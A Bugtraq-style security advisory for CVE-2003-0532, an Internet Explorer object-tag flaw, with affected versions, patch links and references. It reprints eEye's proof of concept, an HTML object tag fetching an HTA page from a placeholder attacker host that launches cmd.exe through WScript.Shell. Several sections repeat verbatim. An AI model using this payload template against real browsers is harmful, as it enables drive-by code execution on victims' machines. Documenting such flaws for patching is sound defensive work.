Microsoft Internet Explorer Object Type Validation Vulnerability
BID:8456
Info
Microsoft Internet Explorer Object Type Validation Vulnerability
| Bugtraq ID: | 8456 |
| Class: | Input Validation Error |
| CVE: |
CVE-2003-0532 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 20 2003 12:00AM |
| Updated: | Jul 11 2009 11:56PM |
| Credit: | Discovery is credited to Drew Copley ([email protected]) of eEye Digital Security. |
| Vulnerable: |
Microsoft Internet Explorer 5.0.1 SP3 Microsoft Internet Explorer 5.0.1 SP2 Microsoft Internet Explorer 5.0.1 SP1 Microsoft Internet Explorer 5.0.1 Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft Internet Explorer 5.5 SP2 Microsoft Internet Explorer 5.5 SP1 Microsoft Internet Explorer 5.5 |
| Not Vulnerable: | |
Discussion
Microsoft Internet Explorer Object Type Validation Vulnerability
The problem occurs when Internet Explorer receives a response from the server when a web page containing an object tag is parsed. Successful exploitation of this vulnerability could allow a malicious object to be trusted and as such be executed on the local system. All code execution would occur in the security context of the current user.
The problem occurs when Internet Explorer receives a response from the server when a web page containing an object tag is parsed. Successful exploitation of this vulnerability could allow a malicious object to be trusted and as such be executed on the local system. All code execution would occur in the security context of the current user.
Exploit / POC
Microsoft Internet Explorer Object Type Validation Vulnerability
CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.
The following proof of concept example has been made available by eEye:
--------------Client HTTP request---------------------------
<html>
...
<object data="www.yourinternethost.com/yourexploitwebpageorcgi.html">
</object>
</html>
------------------------------------------------------------
-------------Server HTTP Response---------------------------
HTTP/1.1 200 OK
Date: Tue, 13 May 2003 18:06:43 GMT
Server: Apache
Content-Type: application/hta
Content-Length: 191
<html>
<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmD.exe /k echO so loNg, and ThaNks For all yoUr EmplOyeeS");
</script>
</html>
------------------------------------------------------------
CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.
The following proof of concept example has been made available by eEye:
--------------Client HTTP request---------------------------
<html>
...
<object data="www.yourinternethost.com/yourexploitwebpageorcgi.html">
</object>
</html>
------------------------------------------------------------
-------------Server HTTP Response---------------------------
HTTP/1.1 200 OK
Date: Tue, 13 May 2003 18:06:43 GMT
Server: Apache
Content-Type: application/hta
Content-Length: 191
<html>
<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmD.exe /k echO so loNg, and ThaNks For all yoUr EmplOyeeS");
</script>
</html>
------------------------------------------------------------
Solution / Fix
Microsoft Internet Explorer Object Type Validation Vulnerability
Solution:
Microsoft has released fixes. It should be noted that some reports indicate that the supplied fix for Internet Explorer 5.01 does not correctly address this issue. This information has not been confirmed by Symantec.
Fixes:
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 5.5 SP2
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.0.1 SP3
Solution:
Microsoft has released fixes. It should be noted that some reports indicate that the supplied fix for Internet Explorer 5.01 does not correctly address this issue. This information has not been confirmed by Symantec.
Fixes:
Microsoft Internet Explorer 6.0 SP1
-
Microsoft Cumulative Patch for Internet Explorer (822925)
For all versions of Internet Explorer except Internet Explorer for Windows 2003.
http://www.microsoft.com/windows/ie/downloads/critical/822925/default. asp -
Microsoft Cumulative Patch for Internet Explorer (822925)
For Internet Explorer 6.0 for Windows Server 2003.
http://www.microsoft.com/windows/ie/downloads/critical/822925s/default .asp
Microsoft Internet Explorer 5.5 SP2
-
Microsoft Cumulative Patch for Internet Explorer (822925)
For all versions of Internet Explorer except Internet Explorer for Windows 2003.
http://www.microsoft.com/windows/ie/downloads/critical/822925/default. asp
Microsoft Internet Explorer 6.0
-
Microsoft Cumulative Patch for Internet Explorer (822925)
For all versions of Internet Explorer except Internet Explorer for Windows 2003.
http://www.microsoft.com/windows/ie/downloads/critical/822925/default. asp
Microsoft Internet Explorer 5.0.1 SP3
-
Microsoft Cumulative Patch for Internet Explorer (822925)
For all versions of Internet Explorer except Internet Explorer for Windows 2003.
http://www.microsoft.com/windows/ie/downloads/critical/822925/default. asp
References
Microsoft Internet Explorer Object Type Validation Vulnerability
References:
References:
- IE Object Data Tag exploit (CORE Security)
- Microsoft Security Bulletin MS03-032 (Microsoft)
- Microsoft Security Bulletin MS03-033 (Microsoft)
- Vulnerability Note VU#865940 Microsoft Internet Explorer does not properly evalu (CERT)
- Re: EEYE: Internet Explorer Object Data Remote Execution Vulnerability (Nerijus Krukauskas
- Re: EEYE: Internet Explorer Object Data Remote Execution Vulnerability ("Fabio Pietrosanti \(naif\)"